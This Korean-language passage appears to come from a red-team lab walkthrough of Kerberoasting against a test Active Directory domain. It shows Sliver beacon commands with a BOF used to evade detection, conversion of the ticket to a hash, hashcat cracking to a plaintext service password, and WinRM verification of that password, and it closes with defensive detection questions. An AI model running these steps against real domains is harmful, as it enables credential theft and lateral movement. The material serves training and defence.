4. 권한 상승 - US
이번 섹션에서는 다음과 같은 주제들을 다룬다:
커버로스팅 공격

블러드하운드 덤프를 뜬 뒤에 많은 것들이 가능 하지만, 살펴봐야할 것 들은:
현재 유저의 그룹 멤버쉽
현재 유저가 속한 그룹들의 DACL 여부
현재 유저의 로컬 관리자 권한 여부
들이 있다. 안타깝게도 johndoe.smith는 가장 낮은 권한의 USHO-Marketing
그룹 소속이였으며, 그 그룹을 포함한 모든 기본 그룹 Users, Domain Users, Authenticated Users
또한 별 다른 권한이 없었다. 블러드하운드를 돌렸을 때 --stealth
플래그를 줬고, 작전 보안을 위해 Sessions는 구하지 않았기 때문에 로컬 관리자 권한 또한 알 수가 없다.
일단은 johndoe.smith가 별다른 DACL이 없기 때문에, 권한 상승에 사용될 수 있는 커버로스팅 가능한 유저를 알아본다.

[email protected]
유저가 SFMSSQLSVC/sql01.us.rt.local:1433
SPN이 설정된 도메인 서비스 유저라는 것을 알아냈기 때문에, 해당 유저의 서비스 티켓(ST)을 받아온다. 탐지를 우회하기 위해 BOF(Beacon Object File)를 이용한다.
// BOF-Roast를 이용해 SF_MSSQL_SVC의 서비스티켓 받아오기
sliver (TOUGH_BREADCRUMB) > bof-roast SFMSSQLSVC/sql01.us.rt.local:1433
[*] Got output:
[+] Target SPN: SFMSSQLSVC/sql01.us.rt.local:1433
[+] Got Ticket! Convert it with apreq2hashcat.pyYIIHJgYJKoZIhvcSAQICAQBuggcVMIIHEaADAgEFoQMCAQ6iBwMFACAAAACjggUyYYIFLjCCBSqgAwIBBaENGwtVUy5SVC5MT0
NBTKIvMC2gAwIBAqEmM < . . . 생략 . . . >
// 크래킹 가능한 포멧으로 전환
vim kerberoast.aprep
cat kerberoast.aprep | tr -d '\n' > kerberoast.aprep2
python3 apreq2hashcat.py kerberoast.aprep2 | tee kerberoast.hash
// Hashcat을 사용해 해시 크래킹
└─# hashcat -a 0 -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
< . . . 생략 . . . >
cb0af055bc10b819b35800ec0018ab193fa8657261422a3e35d57d0d:sql123
Session..........: hashcat
Status...........: Cracked
커버로스팅이 다행히 정상적으로 진행됐고, US\SF_MSSQLSVC:sql123
이라는 계정 정보를 얻었다. 이제 SF_MSSQL_SVC 유저의 비밀번호가 맞는지 확인해본다.
sliver (TOUGH_BREADCRUMB) > winrm -- -i sql01.us.rt.local -u us.rt.local\\sf_mssql_svc -p 'sql123' -c whoami
[+] Arguments processed
hostname: sql01.us.rt.local
command: whoami
username: us.rt.local\sf_mssql_svc
password: sql123
us\sf_mssql_svc
계정 정보를 확인하다 sql01.us.rt.local에 winrm까지 가능하다는 것을 알았다. 따라서 해당 계정은 sql01.us.rt.local에 로컬 관리자 권한이나, 최소한 Remote Management Users
권한을 갖고 있을 확률이 높아졌다.

우리 회사는
커버로스팅 공격을 탐지하고 방지할 수 있는가?
SPN 설정된 유저를 향해 RC4 암호화된 서비스 티켓을 요청하는 엔드포인트 및 유저를 탐지할 수 있는가?
커버로스팅에 취약한 SPN 설정된 서비스 계정을 사용하고 있지는 않은가?
Last updated